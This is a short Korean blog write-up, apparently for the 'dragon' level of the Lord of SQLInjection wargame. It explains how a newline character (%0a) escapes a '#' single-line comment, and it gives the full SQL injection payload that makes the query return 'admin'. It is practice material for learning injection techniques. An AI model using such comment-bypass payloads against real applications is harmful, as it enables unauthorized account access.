
쿼리의 결과가 admin이어야 하는데 쿼리에서 id='guest'하고 뒤에 주석이 되어있습니다. 따라서 사용자가 pw를 뭐라고 입력하든 주석 처리가 됩니다.
이때 #이 정확히 무슨 주석인지 알면 쉽게 풀 수 있습니다. 이는 한 줄 주석입니다. 따라서 pw에 개행 문자를 추가하면 개행된 후의 부분은 주석처리가 되지 않습니다.
payload
select id from prob_dragon where id='guest'# and pw='%0a and 1=0 or id='admin'
빠갈 색 부분은 주석 부분이고 초록색 부부는 사용자 입력 부분입니다. 여기서 주석 부분을 없애면 다음과 같은 쿼리가 완성됩니다.
select id from prob_dragon where id='guest' and 1=0 or id='admin' 이로 써 쿼리의 결과가 admin이 되겠습니다.

'Hacking > LOS : Lord of SQLInjection' 카테고리의 다른 글
| LOS : dark_eyes (0) | 2020.10.27 |
|---|---|
| LOS : iron_golem (0) | 2020.10.27 |
| LOS : xavis (0) | 2020.10.25 |
| LOS : nightmare (0) | 2020.10.23 |
| LOS : zombie_assassin (0) | 2020.10.23 |